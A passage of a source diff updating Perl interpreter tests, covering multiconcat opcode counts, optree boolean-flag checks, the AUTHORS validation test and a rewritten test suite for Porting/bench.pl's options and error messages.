+ padsv => $nargs,
+ concat => 0,
+ sprintf => 0,
+ const => 0,
+ sassign => 0,
+ stringify => 0,
+ gv => 0, # optimised to gvsv
+ });
+ }
+ }
+ }
+ }
+}
+
+# $lex = "foo" should *not* get converted into a multiconcat - there's
+# no actual concatenation involved, and treating it as a degnerate concat
+# would forego any COW copy efficiency
+
+test_opcount(0, '$lex = "foo"', sub { my $x; $x = "foo"; },
+ {
+ multiconcat => 0,
+ });
+
+# for '$lex1 = $lex2 . $lex3', multiconcat is normally slower than
+# concat, except in the specific case of '$lex1 = $lex2 . $lex1'
+
+test_opcount(0, '$lex1 = $lex2 . $lex1', sub { my ($x,$y); $x = $y . $x },
+ {
+ multiconcat => 1,
+ padsv => 4, # 2 are from the my()
+ concat => 0,
+ sassign => 0,
+ stringify => 0,
+ });
+test_opcount(0, '$lex1 = "$lex2$lex1"', sub { my ($x,$y); $x = "$y$x" },
+ {
+ multiconcat => 1,
+ padsv => 4, # 2 are from the my()
+ concat => 0,
+ sassign => 0,
+ stringify => 0,
+ });
+test_opcount(0, '$lex1 = $lex1 . $lex1', sub { my $x; $x = $x . $x },
+ {
+ multiconcat => 0,
+ });
+
+# 'my $x .= ...' doesn't make a lot of sense and so isn't optimised
+test_opcount(0, 'my $a .= $b.$c.$d', sub { our ($b,$c,$d); my $a .= $b.$c.$d },
+ {
+ padsv => 1,
+ });
+
+# prefer rcatline optimisation over multiconcat
+
+test_opcount(0, "rcatline", sub { my ($x,$y); open FOO, "xxx"; $x .= <FOO> },
+ {
+ rcatline => 1,
+ readline => 0,
+ multiconcat => 0,
+ concat => 0,
+ });
+
+# long chains of concats should be converted into chained multiconcats
+
+{
+ my @a;
+ for my $i (60..68) { # check each side of 64 threshold
+ my $c = join '.', map "\$a[$_]", 1..$i;
+ my $sub = eval qq{sub { $c }} or die $@;
+ test_opcount(0, "long chain $i", $sub,
+ {
+ multiconcat => $i > 65 ? 2 : 1,
+ concat => $i == 65 ? 1 : 0,
+ aelem => 0,
+ aelemfast => 0,
+ });
+ }
+}
+
+# with C<$state $s = $a . $b . ....>, the assign is optimised away,
+# but the padsv isn't (it's treated like a general LHS expression rather
+# than using OPpTARGET_MY).
+
+test_opcount(0, "state works with multiconcat",
+ sub { use feature 'state'; our ($a, $b, $c); state $s = $a . $b . $c },
+ {
+ multiconcat => 1,
+ concat => 0,
+ sassign => 0,
+ once => 1,
+ padsv => 2, # one each for the next/once branches
+ });
+
+# multiple concats of constants preceded by at least one non-constant
+# shouldn't get constant-folded so that a concat overload method is called
+# for each arg. So every second constant string is left as an OP_CONST
+
+test_opcount(0, "multiconcat: 2 adjacent consts",
+ sub { my ($a, $b); $a = $b . "c" . "d" },
+ {
+ const => 1,
+ multiconcat => 1,
+ concat => 0,
+ sassign => 0,
+ });
+test_opcount(0, "multiconcat: 3 adjacent consts",
+ sub { my ($a, $b); $a = $b . "c" . "d" . "e" },
+ {
+ const => 1,
+ multiconcat => 1,
+ concat => 0,
+ sassign => 0,
+ });
+test_opcount(0, "multiconcat: 4 adjacent consts",
+ sub { my ($a, $b); $a = $b . "c" . "d" . "e" ."f" },
+ {
+ const => 2,
+ multiconcat => 1,
+ concat => 0,
+ sassign => 0,
+ });
diff --git a/gnu/usr.bin/perl/t/perf/optree.t b/gnu/usr.bin/perl/t/perf/optree.t
index a2ff7f283ce..51a6bfd6d33 100644
--- a/gnu/usr.bin/perl/t/perf/optree.t
+++ b/gnu/usr.bin/perl/t/perf/optree.t
@@ -3,6 +3,9 @@
# Use B to test that optimisations are not inadvertently removed,
# by examining particular nodes in the optree.
+use warnings;
+use strict;
+
BEGIN {
chdir 't';
require './test.pl';
@@ -10,15 +13,35 @@ BEGIN {
@INC = '../lib';
}
-plan 54;
+plan 2285;
use v5.10; # state
use B qw(svref_2object
OPpASSIGN_COMMON_SCALAR
OPpASSIGN_COMMON_RC1
OPpASSIGN_COMMON_AGG
+ OPpTRUEBOOL
+ OPpMAYBE_TRUEBOOL
+ OPpASSIGN_TRUEBOOL
);
+# for debugging etc. Basic dump of an optree
+
+sub dump_optree {
+ my ($o, $depth) = @_;
+
+ return '' unless $$o;
+ # use Devel::Peek; Dump $o;
+ my $s = (" " x $depth) . $o->name . "\n";
+ my $n = eval { $o->first };
+ while ($n && $$n) {
+ $s .= dump_optree($n, $depth+1);
+ $n = $n->sibling;
+ }
+ $s;
+}
+
+
# Test that OP_AASSIGN gets the appropriate
# OPpASSIGN_COMMON* flags set.
@@ -74,12 +97,24 @@ for my $test (
[ "---", '(undef,$x) = f()', 'single scalar on LHS' ],
[ "---", '($x,$y) = ($x)', 'single scalar on RHS, no AGG' ],
[ "--A", '($x,@b) = ($x)', 'single scalar on RHS' ],
+ [ "--A", 'my @a; @a = (@a = split())', 'split a/a' ],
+ [ "--A", 'my (@a,@b); @a = (@b = split())', 'split a/b' ],
+ [ "---", 'my @a; @a = (split(), 1)', '(split(),1)' ],
+ [ "---", '@a = (split(//, @a), 1)', 'split(@a)' ],
+ [ "--A", 'my @a; my $ar = @a; @a = (@$ar = split())', 'a/ar split' ],
) {
+
my ($exp, $code, $desc) = @$test;
- my $sub = eval "sub { $code }"
- or die
- "aassign eval('$code') failed: this test needs to be rewritten:\n"
- . $@;
+ my $sub;
+ {
+ # package vars used in code snippets
+ our (@a, %a, @b, %b, $c, $p, $q, $x, $y, @y, @z);
+
+ $sub = eval "sub { $code }"
+ or die
+ "aassign eval('$code') failed: this test needs"
+ . "to be rewritten:\n$@"
+ }
my $last_expr = svref_2object($sub)->ROOT->first->last;
if ($last_expr->name ne 'aassign') {
@@ -178,3 +213,241 @@ for(['@pkgary' , '@_' ],
# stringify with join kid --> join
is svref_2object(sub { "@_" })->ROOT->first->last->name, 'join',
'qq"@_" optimised from stringify(join(...)) to join(...)';
+
+
+# Check that certain ops, when in boolean context, have the
+# right private "is boolean" or "maybe boolean" flags set.
+#
+# A maybe flag is set when the context at the end of a chain of and/or/dor
+# ops isn't known till runtime, e.g.
+# sub f { ....; ((%h || $x) || $y)) }
+# If f() is called in void context, then %h can return a boolean value;
+# if in scalar context, %h must return a key count.
+
+for my $ops (
+ # op code op_path flag maybe_flag
+ # --------- ---------- ------- ----------------- ----------------
+ [ 'aassign', '(@pkg = @lex)',[], OPpASSIGN_TRUEBOOL,0, ],
+ [ 'grepwhile','grep($_,1)', [], OPpTRUEBOOL, 0, ],
+ [ 'length', 'length($x)', [], OPpTRUEBOOL, 0, ],
+ [ 'padav', '@lex', [], OPpTRUEBOOL, 0, ],
+ [ 'padav', 'scalar @lex', [0], OPpTRUEBOOL, 0, ],
+ [ 'padhv', '%lex', [], OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+ [ 'padhv', 'scalar(%lex)', [0], OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+ [ 'pos', 'pos($x)', [], OPpTRUEBOOL, 0, ],
+ [ 'ref', 'ref($x)', [], OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+ [ 'rv2av', '@pkg', [], OPpTRUEBOOL, 0, ],
+ [ 'rv2av', 'scalar(@pkg)', [0], OPpTRUEBOOL, 0, ],
+ [ 'rv2hv', '%pkg', [], OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+ [ 'rv2hv', 'scalar(%pkg)', [0], OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+ [ 'subst', 's/a/b/', [], OPpTRUEBOOL, 0, ],
+) {
+ my ($op_name, $op_code, $post_op_path, $bool_flag, $maybe_flag) = @$ops;
+
+ for my $test (
+ # 1st column: what to expect for each $context (void, scalar, unknown),
+ # 0: expect no flag
+ # 1: expect bool flag
+ # 2: expect maybe bool flag
+ # 9: skip test
+ # 2nd column: path though the op subtree to the flagged op:
+ # 0 is first child, 1 is second child etc.
+ # Will have @$post_op_path from above appended.
+ # 3rd column: code to execute: %s holds the code for the op
+ #
+ # [V S U] PATH CODE
+
+ # INNER PLAIN
+
+ [ [0,0,0], [], '%s' ],
+ [ [1,9,1], [0,0], 'if (%s) {$x}' ],
+ [ [1,9,1], [0,0], 'if (%s) {$x} else {$y}' ],
+ [ [1,9,2], [0,0], 'unless (%s) {$x}' ],
+
+ # INNER NOT
+
+ [ [1,1,1], [0], '!%s' ],
+ [ [1,9,1], [0,0,0], 'if (!%s) {$x}' ],
+ [ [1,9,1], [0,0,0], 'if (!%s) {$x} else {$y}' ],
+ [ [1,9,1], [0,0,0], 'unless (!%s) {$x}' ],
+
+ # INNER COND
+
+ [ [1,1,1], [0,0,], '%s ? $p : $q' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s ? $p : $q) {$x}' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s ? $p : $q) {$x} else {$y}' ],
+ [ [1,9,1], [0,0,0,0], 'unless (%s ? $p : $q) {$x}' ],
+
+
+ # INNER OR LHS
+
+ [ [1,0,2], [0,0], '%s || $x' ],
+ [ [1,1,1], [0,0,0], '!(%s || $x)' ],
+ [ [1,0,2], [0,1,0,0], '$y && (%s || $x)' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s || $x) {$x}' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s || $x) {$x} else {$y}' ],
+ [ [1,9,2], [0,0,0,0], 'unless (%s || $x) {$x}' ],
+
+ # INNER OR RHS
+
+ [ [0,0,0], [0,1], '$x || %s' ],
+ [ [1,1,1], [0,0,1], '!($x || %s)' ],
+ [ [0,0,0], [0,1,0,1], '$y && ($x || %s)' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x || %s) {$x}' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x || %s) {$x} else {$y}' ],
+ [ [1,9,2], [0,0,0,1], 'unless ($x || %s) {$x}' ],
+
+ # INNER DOR LHS
+
+ [ [1,0,2], [0,0], '%s // $x' ],
+ [ [1,1,1], [0,0,0], '!(%s // $x)' ],
+ [ [1,0,2], [0,1,0,0], '$y && (%s // $x)' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s // $x) {$x}' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s // $x) {$x} else {$y}' ],
+ [ [1,9,2], [0,0,0,0], 'unless (%s // $x) {$x}' ],
+
+ # INNER DOR RHS
+
+ [ [0,0,0], [0,1], '$x // %s' ],
+ [ [1,1,1], [0,0,1], '!($x // %s)' ],
+ [ [0,0,0], [0,1,0,1], '$y && ($x // %s)' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x // %s) {$x}' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x // %s) {$x} else {$y}' ],
+ [ [1,9,2], [0,0,0,1], 'unless ($x // %s) {$x}' ],
+
+ # INNER AND LHS
+
+ [ [1,1,1], [0,0], '%s && $x' ],
+ [ [1,1,1], [0,0,0], '!(%s && $x)' ],
+ [ [1,1,1], [0,1,0,0], '$y || (%s && $x)' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s && $x) {$x}' ],
+ [ [1,9,1], [0,0,0,0], 'if (%s && $x) {$x} else {$y}' ],
+ [ [1,9,1], [0,0,0,0], 'unless (%s && $x) {$x}' ],
+
+ # INNER AND RHS
+
+ [ [0,0,0], [0,1], '$x && %s' ],
+ [ [1,1,1], [0,0,1], '!($x && %s)' ],
+ [ [0,0,0], [0,1,0,1], '$y || ($x && %s)' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x && %s) {$x}' ],
+ [ [1,9,1], [0,0,0,1], 'if ($x && %s) {$x} else {$y}' ],
+ [ [1,9,2], [0,0,0,1], 'unless ($x && %s) {$x}' ],
+
+ # INNER XOR LHS
+
+ # LHS of XOR is currently too hard to detect as
+ # being in boolean context
+
+ # INNER XOR RHS
+
+ [ [1,1,1], [1], '($x xor %s)' ],
+ [ [1,1,1], [0,1], '!($x xor %s)' ],
+ [ [1,1,1], [0,1,1], '$y || ($x xor %s)' ],
+ [ [1,9,1], [0,0,1], 'if ($x xor %s) {$x}' ],
+ [ [1,9,1], [0,0,1], 'if ($x xor %s) {$x} else {$y}' ],
+ [ [1,9,1], [0,0,1], 'unless ($x xor %s) {$x}' ],
+
+ # GREP
+
+ [ [1,1,1], [0,1,0], 'grep(%s,1,2)' ],
+ [ [1,1,1], [0,1,0,0], 'grep(!%s,1,2)' ],
+ [ [1,1,1], [0,1,0,0,1],'grep($y || %s,1,2)' ],
+
+ # FLIP
+
+ [ [1,1,1], [0,0,0,0], '%s..$x' ],
+ [ [1,1,1], [0,0,0,0,0], '!%s..$x' ],
+ [ [1,1,1], [0,0,0,0,0,1], '($y || %s)..$x' ],
+
+ # FLOP
+
+ [ [1,1,1], [0,0,0,1], '$x..%s' ],
+ [ [1,1,1], [0,0,0,1,0], '$x..!%s' ],
+ [ [1,1,1], [0,0,0,1,0,1], '$x..($y || %s)' ],
+
+ ) {
+ my ($expects, $op_path, $code_fmt) = @$test;
+
+ for my $context (0,1,2) {
+ # 0: void
+ # 1: scalar
+ # 2: unknown
+ # 9: skip test (principally if() can't be in scalar context)
+
+ next if $expects->[$context] == 9;
+
+ my $base_code = sprintf $code_fmt, $op_code;
+ my $code = $base_code;
+ my @op_path = @$op_path;
+ push @op_path, @$post_op_path;
+
+ # where to find the expression in the top-level lineseq
+ my $seq_offset = -1;
+
+ if ($context == 0) {
+ $seq_offset -= 2;
+ $code .= "; 1";
+ }
+ elsif ($context == 1) {
+ $code = "\$pkg_result = ($code)";
+ unshift @op_path, 0;
+ }
+
+
+ my $sub;
+ {
+ # don't use 'my' for $pkg_result to avoid the assignment in
+ # '$result = foo()' being optimised away with OPpTARGET_MY
+ our (@pkg, %pkg, $pkg_result);
+ my (@lex, %lex, $p, $q, $x, $y);
+
+ no warnings 'void';
+ $sub = eval "sub { $code }"
+ or die
+ "eval'$code' failed: this test needs to be rewritten;\n"
+ . "Errors were:\n$@";
+ }
+
+ # find the expression subtree in the main lineseq of the sub
+ my $expr = svref_2object($sub)->ROOT->first;
+ my $orig_expr = $expr;
+ my @ops;
+ my $next = $expr->first;
+ while ($$next) {
+ push @ops, $next;
+ $next = $next->sibling;
+ }
+ $expr = $ops[$seq_offset];
+
+ # search through the expr subtree looking for the named op -
+ # this assumes that for all the code examples above, the
+ # op is always in the LH branch
+ my @orig_op_path = @op_path;
+ while (defined (my $p = shift @op_path)) {
+ eval {
+ $expr = $expr->first;
+ $expr = $expr->sibling while $p--;
+ }
+ }
+
+ if (!$expr || !$$expr || $expr->name ne $op_name) {
+ my $optree = dump_optree($orig_expr,2);
+ print STDERR "Can't find $op_name op in optree for '$code'.\n";
+ print STDERR "This test needs to be rewritten\n";
+ print STDERR "seq_offset=$seq_offset op_path=(@orig_op_path)\n";
+ print STDERR "optree=\n$optree";
+ exit 1;
+ }
+
+ my $exp = $expects->[$context];
+ $exp = $exp == 0 ? 0
+ : $exp == 1 ? $bool_flag
+ : $maybe_flag;
+
+ my $got = ($expr->private & ($bool_flag | $maybe_flag));
+ my $cxt_name = ('void ', 'scalar ', 'unknown')[$context];
+ is $got, $exp, "boolean: $op_name $cxt_name '$base_code'";
+ }
+ }
+}
+
diff --git a/gnu/usr.bin/perl/t/porting/authors.t b/gnu/usr.bin/perl/t/porting/authors.t
index bc69e3a2a15..0102e93befa 100644
--- a/gnu/usr.bin/perl/t/porting/authors.t
+++ b/gnu/usr.bin/perl/t/porting/authors.t
@@ -2,16 +2,30 @@
# Test that there are no missing authors in AUTHORS
BEGIN {
- @INC = '..' if -f '../TestInit.pm';
+ chdir 't' if -d 't';
+ require "./test.pl";
+ set_up_inc('../lib', '..');
}
-use TestInit qw(T); # T is chdir to the top level
+
+use TestInit qw(T); # T is chdir to the top level
use strict;
-require 't/test.pl';
find_git_or_skip('all');
+skip_all(
+ "This distro may have modified some files in cpan/. Skipping validation.")
+ if $ENV{'PERL_BUILD_PACKAGING'};
+
+my $revision_range = ''; # could use 'v5.22.0..' as default, no reason to recheck all previous commits...
+if ( $ENV{TRAVIS} && defined $ENV{TRAVIS_COMMIT_RANGE} ) {
+ # travisci is adding a merge commit when smoking a pull request
+ # unfortunately it's going to use the default GitHub email from the author
+ # which can differ from the one the author wants to use as part of the pull request
+ # let's simply use the TRAVIS_COMMIT_RANGE which list the commits we want to check
+ # all the more a pull request should not be impacted by blead being incorrect
+ $revision_range = $ENV{TRAVIS_COMMIT_RANGE};
+}
# This is the subset of "pretty=fuller" that checkAUTHORS.pl actually needs:
-my $quote = $^O =~ /^mswin/i ? q(") : q(');
-system("git log --pretty=format:${quote}Author: %an <%ae>%n${quote} | $^X Porting/checkAUTHORS.pl --tap -");
+print qx{git log --pretty=format:"Author: %an <%ae>" $revision_range | $^X Porting/checkAUTHORS.pl --tap -};
# EOF
diff --git a/gnu/usr.bin/perl/t/porting/bench.t b/gnu/usr.bin/perl/t/porting/bench.t
index 527995aa263..7c137c1ded6 100644
--- a/gnu/usr.bin/perl/t/porting/bench.t
+++ b/gnu/usr.bin/perl/t/porting/bench.t
@@ -1,15 +1,855 @@
-#!./perl -w
+#!/usr/bin/perl
-# run Porting/bench.pl's selftest
+# Check the functionality of the Porting/bench.pl executable;
+# in particular, its argument handling and its ability to produce
+# the expected output for particular arguments.
+#
+# See also t/porting/bench_selftest.pl
BEGIN {
- @INC = '..' if -f '../TestInit.pm';
+ chdir '..' if -f 'test.pl';
+ @INC = ( './lib' );
+ require './t/test.pl';
}
-use TestInit qw(T A); # T is chdir to the top level, A makes paths absolute
+
+use warnings;
use strict;
+use Config;
+
+
+# Only test on git checkouts - this is more of a perl core developer
+# tool than an end-user tool.
+# Only test on a platform likely to support forking, pipes, cachegrind
+# etc. Add other platforms if you think they're safe.
+
+skip_all "not devel" unless -d "./.git";
+skip_all "not linux" unless $^O eq 'linux';
+skip_all "no valgrind" unless -x '/bin/valgrind' || -x '/usr/bin/valgrind';
+# Address sanitizer clashes horribly with cachegrind
+skip_all "not with ASAN" if $Config{ccflags} =~ /sanitize=address/;
+skip_all "cachegrind broken" if system "( ulimit -c 0; valgrind -q --tool=cachegrind --cachegrind-out-file=/dev/null $^X -e0 ) 2>/dev/null";
+
+
+my $bench_pl = "Porting/bench.pl";
+
+ok -e $bench_pl, "$bench_pl exists and is executable";
+
+my $bench_cmd = "$^X -Ilib $bench_pl";
+
+my ($out, $cmd);
+
+# Read in the expected output format templates and create qr//s from them.
+
+my %formats;
+my %format_qrs;
+
+{
+ my $cur;
+ while (<DATA>) {
+ next if /^#/;
+ if (/^FORMAT:/) {
+ die "invalid format line: $_" unless /^FORMAT:\s+(\w+)\s*$/;
+ $cur = $1;
+ die "duplicate format: '$cur'\n" if exists $formats{$cur};
+ next;
+ }
+ $formats{$cur} .= $_;
+ }
+
+ for my $name (sort keys %formats) {
+ my $f = $formats{$name};
+
+ # expand "%%SUB_FORMAT%%
+ $f =~ s{^ \s* %% (\w+) %% [ \t]* \n}
+ {
+ my $f1 = $formats{$1};
+ die "No such sub-format '%%$1%%' in format '$name'\n"
+ unless defined $f1;
+ $f1;
+ }gmxe;
+
+ $f = quotemeta $f;
+
+ # convert NNNN.NN placeholders into a regex
+ $f =~ s{(N+)\\.(N+)}
+ {
+ my $l = length($2);
+ "("
+ . "\\s*-?\\d+\\."
+ . "\\d" x $l
+ ."|\\s{"
+ . ($l + 1)
+ . ",}-)"
+ }ge;
+
+ # convert run of space chars into ' +' or ' *'
+
+ $f =~ s/(\A|\n)(\\ )+/$1 */g;
+ $f =~ s/(\\ )+/ +/g;
+
+ # convert '---' placeholders into a regex
+ $f =~ s/(\\-){2,}/-+/g;
+
+ $format_qrs{$name} = qr/\A$f\z/;
+ }
+}
+
+
+# ---------------------------------------------------
+# check croaks
+
+for my $test (
+ [
+ "--boz",
+ "Unknown option: boz\nUse the -h option for usage information.\n",
+ "croak: basic unknown option"
+ ],
+ [
+ "--fields=Ir,Boz",
+ "Error: --fields: unknown field 'Boz'\n",
+ "croak: unknown --field"
+ ],
+ [
+ "--action=boz",
+ "Error: unrecognised action 'boz'\nmust be one of: grind, selftest\n",
+ "croak: unknown --action"
+ ],
+ [
+ "--sort=boz",
+ "Error: --sort argument should be of the form field:perl: 'boz'\n",
+ "croak: invalid --sort"
+ ],
+ [
+ "--sort=boz:perl",
+ "Error: --sort: unknown field 'boz'\n",
+ "croak: unknown --sort field"
+ ],
+ [
+ "-action=selftest perl",
+ "Error: no perl executables may be specified with selftest\n",
+ "croak: --action-selftest with executable"
+ ],
+ [
+ "--tests=/boz perl",
+ "Error: --tests regex must be of the form /.../\n",
+ "croak: invalid --tests regex"
+ ],
+ [
+ "--tests=call::sub::empty,foo::bar::baz::boz perl",
+ "Error: no such test found: 'foo::bar::baz::boz'\n"
+ . "Re-run with --verbose for a list of valid tests.\n",
+ "croak: unknown test in --tests"
+ ],
+ [
+ "--verbose --tests=call::sub::empty,foo::bar::baz::boz --read=t/porting/bench/callsub.json",
+ "Error: no such test found: 'foo::bar::baz::boz'\n"
+ . "Valid test names are:\n"
+ . " call::sub::amp_empty\n"
+ . " call::sub::empty\n",
+ "croak: unknown test in --tests --verbose"
+ ],
+ [
+ "--tests=/foo::bar::baz::boz/ perl",
+ "Error: no tests to run\n",
+ "croak: no --tests to run "
+ ],
+ [
+ "--benchfile=no-such-file-boz perl",
+ qr/\AError: can't read 'no-such-file-boz':/,
+ "croak: non-existent --benchfile "
+ ],
+ [
+ "--benchfile=t/porting/bench/synerr perl",
+ qr{\AError: can't parse 't/porting/bench/synerr':\nsyntax error},
+ "croak: --benchfile with syntax error"
+ ],
+ [
+ "--benchfile=t/porting/bench/ret0 perl",
+ "Error: can't load 't/porting/bench/ret0': code didn't return a true value\n",
+ "croak: --benchfile which returns 0"
+ ],
+ [
+ "--benchfile=t/porting/bench/oddentry perl",
+ qr{\AError: 't/porting/bench/oddentry' does not contain evenly paired test names and hashes\n},
+ "croak: --benchfile with odd number of entries"
+ ],
+ [
+ "--benchfile=t/porting/bench/badname perl",
+ qr{\AError: 't/porting/bench/badname': invalid test name: '1='\n},
+ "croak: --benchfile with invalid test name"
+ ],
+ [
+ "--benchfile=t/porting/bench/badhash perl",
+ qr{\AError: 't/porting/bench/badhash': invalid key 'blah' for test 'foo::bar'\n},
+ "croak: --benchfile with invalid test hash key"
+ ],
+ [
+ "--norm=2 ./miniperl ./perl",
+ "Error: --norm value 2 outside range 0..1\n",
+ "croak: select-a-perl out of range"
+ ],
+ [
+ "--norm=-0 ./miniperl ./perl",
+ "Error: --norm value -0 outside range -1..-2\n",
+ "croak: select-a-perl out of range"
+ ],
+ [
+ "--norm=-3 ./miniperl ./perl",
+ "Error: --norm value -3 outside range -1..-2\n",
+ "croak: select-a-perl out of range"
+ ],
+ [
+ "--sort=Ir:myperl ./miniperl ./perl",
+ "Error: --sort: unrecognised perl 'myperl'\n"
+ . "Valid perl names are:\n"
+ . " ./miniperl\n"
+ . " ./perl\n",
+ "croak: select-a-perl unrecognised"
+ ],
+ [
+ "--compact=./perl ./perl=A ./perl=B",
+ "Error: --compact: ambiguous perl './perl'\n",
+ "croak: select-a-perl ambiguous"
+ ],
+ [
+ "./perl --foo",
+ "Error: unrecognised executable switch '--foo'\n",
+ "croak: ./perl --foo"
+ ],
+ [
+ "-- --args=foo",
+ "Error: --args without a preceding executable name\n",
+ "croak: --args without perl"
+ ],
+ [
+ "-- --env=foo=bar",
+ "Error: --env without a preceding executable name\n",
+ "croak: --env without perl"
+ ],
+ [
+ "./perl --args",
+ "Error: --args is missing value\n",
+ "croak: --args without value"
+ ],
+ [
+ "./perl --env",
+ "Error: --env is missing value\n",
+ "croak: --env without value"
+ ],
+ [
+ "./perl --env='FOO'",
+ "Error: --env is missing =value\n",
+ "croak: --env without =value"
+ ],
+ [
+ "./perl ./perl",
+ "Error: duplicate label './perl': each executable must have a unique label\n",
+ "croak: duplicate label ./perl ./perl"
+ ],
+ [
+ "./perl=A ./miniperl=A",
+ "Error: duplicate label 'A': each executable must have a unique label\n",
+ "croak: duplicate label =A =A"
+ ],
+ [
+ "--read=t/porting/bench/callsub.json --read=t/porting/bench/callsub.json",
+ "Error: duplicate label './perl': seen in file 't/porting/bench/callsub.json'\n",
+ "croak: duplicate label --read=... --read=..."
+ ],
+ [
+ "--read=t/porting/bench/callsub.json ./perl",
+ "Error: duplicate label './perl': seen both in --read file and on command line\n",
+ "croak: duplicate label --read=... ./perl"
+ ],
+ [
+ "./nosuch-perl",
+ qr{^\QError: unable to execute './nosuch-perl': },
+ "croak: no such perl"
+ ],
+ [
+ "--grindargs=Boz --debug --tests=call::sub::empty ./perl=A ./perl=B",
+ qr{Error: .*?(unexpected code or cachegrind output|gave return status)}s,
+ "croak: cachegrind output format "
+ ],
+ [
+ "--bisect=Ir",,
+ "Error: --bisect option must be of form 'field,integer,integer'\n",
+ "croak: --bisect=Ir"
+ ],
+ [
+ "--bisect=Ir,1",,
+ "Error: --bisect option must be of form 'field,integer,integer'\n",
+ "croak: --bisect=Ir,1"
+ ],
+ [
+ "--bisect=Ir,1,2,3",
+ "Error: --bisect option must be of form 'field,integer,integer'\n",
+ "croak: --bisect=Ir,1,2,3"
+ ],
+ [
+ "--bisect=Ir,1,x",
+ "Error: --bisect option must be of form 'field,integer,integer'\n",
+ "croak: --bisect=Ir,1,x"
+ ],
+ [
+ "--bisect=Ir,x,2",
+ "Error: --bisect option must be of form 'field,integer,integer'\n",
+ "croak: --bisect=Ir,x,2"
+ ],
+ [
+ "--bisect=boz,1,2",
+ "Error: unrecognised field 'boz' in --bisect option\n",
+ "croak: --bisect=boz,1,2"
+ ],
+ [
+ "--bisect=Ir,2,1",
+ "Error: --bisect min (2) must be <= max (1)\n",
+ "croak: --bisect=boz,2,1"
+ ],
+ [
+ "--read=no-such-file-boz",
+ qr/\AError: can't open 'no-such-file-boz' for reading:/,
+ "croak: non-existent --read file "
+ ],
+ [
+ "--read=t/porting/bench/badversion.json",
+ "Error: unsupported version 9999.9 in file 't/porting/bench/badversion.json' (too new)\n",
+ "croak: --read version"
+ ],
+ [
+ "--read=t/porting/bench/callsub.json --benchfile=t/perf/benchmarks ./perl ",
+ "Error: --benchfile cannot be used when --read is present\n",
+ "croak: benchfile with read"
+ ],
+ [
+ "",
+ "Error: nothing to do: no perls to run, no data to read.\n",
+ "croak: no input"
+ ],
+ [
+ "./perl",
+ "Error: need at least 2 perls for comparison.\n",
+ "croak: need 2 perls"
+ ],
+ [
+ "--bisect=Ir,1,2 ./perl=A ./perl=B",
+ "Error: exactly one perl executable must be specified for bisect\n",
+ "croak: --bisect, need 1 perls"
+ ],
+ [
+ "--bisect=Ir,1,2 --tests=/call/ ./perl=A",
+ "Error: only a single test may be specified with --bisect\n",
+ "croak: --bisect one test only"
+ ],
+ # note that callsub.json was created using
+ # ./perl -Ilib Porting/bench.pl --tests='/call::sub::(amp_)?empty/' \
+ # --write=t/porting/bench/callsub.json ./perl
+ [
+ "--read=t/porting/bench/callsub.json --write=no/such/file/boz",
+ qr{\AError: can't open 'no/such/file/boz' for writing: },
+ "croak: --write open error"
+ ],
+ # note that callsub2.json was created using
+ # ./perl -Ilib Porting/bench.pl \
+ # --tests='call::sub::empty,call::sub::args3' \
+ # --write=t/porting/bench/callsub2.json ./perl=perl2
+ [
+ "--read=t/porting/bench/callsub.json "
+ . " --read=t/porting/bench/callsub2.json",
+ "Can't merge multiple read files: they contain differing test sets.\n"
+ . "Re-run with --verbose to see the differences.\n",
+ "croak: --read callsub, callsub2"
+ ],
+ [
+ "--read=t/porting/bench/callsub.json "
+ . " --read=t/porting/bench/callsub2.json"
+ . " --verbose",
+ "Can't merge multiple read files: they contain differing test sets.\n"
+ . "Previous tests:\n"
+ . " call::sub::amp_empty\n"
+ . " call::sub::empty\n"
+ . "tests from 't/porting/bench/callsub2.json':\n"
+ . " call::sub::args3\n"
+ . " call::sub::empty\n",
+ "croak: --read callsub, callsub2 --verbose"
+ ],
+
+ # these ones aren't tested (and nor are any "Panic:" ones):
+
+ # Error: can't parse '$field' field from cachegrind output
+ # Error: while starting cachegrind subprocess for NNNN:
+ # File '$file' contains no results
+ # File '$file' contains differing test and results names
+ # File '$file' contains differing test and sort order names
+ # Can't merge multiple read files: differing loop counts:
+)
+{
+ my ($args, $expected, $desc) = @$test;
+ $out = qx($bench_cmd $args 2>&1);
+ if (ref($expected)) {
+ like $out, $expected, $desc;
+ }
+ else {
+ is $out, $expected, $desc;
+ }
+}
+
+# ---------------------------------------------------
+# run benchmarks
+
+
+my $resultfile1 = tempfile(); # benchmark results for 1 perl
+my $resultfile2 = tempfile(); # benchmark results for 2 perls
+
+# Run a real cachegrind session and write results to file.
+# the -j 2 is to minimally exercise its parallel facility.
+
+note("running cachegrind for 1st perl; may be slow...");
+$out = qx($bench_cmd -j 2 --write=$resultfile1 --tests=call::sub::empty $^X=p0 2>&1);
+is $out, "", "--write should produce no output (1 perl)";
+ok -s $resultfile1, "--write should create a non-empty results file (1 perl)";
+
+# and again with 2 perls. This is also tests the 'mix read and new new
+# perls' functionality.
+
+note("running cachegrind for 2nd perl; may be slow...");
+$out = qx($bench_cmd -j 2 --read=$resultfile1 --write=$resultfile2 $^X=p1 2>&1);
+is $out, "", "--write should produce no output (2 perls)"
+ or diag("got: $out");
+ok -s $resultfile2, "--write should create a non-empty results file (2 perls)";
+
+# 1 perl:
+
+# read back the results in raw form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw 2>&1);
+like $out, $format_qrs{raw1}, "basic cachegrind raw format; 1 perl";
+
+# and read back the results in raw compact form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --compact=0 2>&1);
+like $out, $format_qrs{raw_compact}, "basic cachegrind raw compact format; 1 perl";
+
+# and read back the results in raw average form
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --average 2>&1);
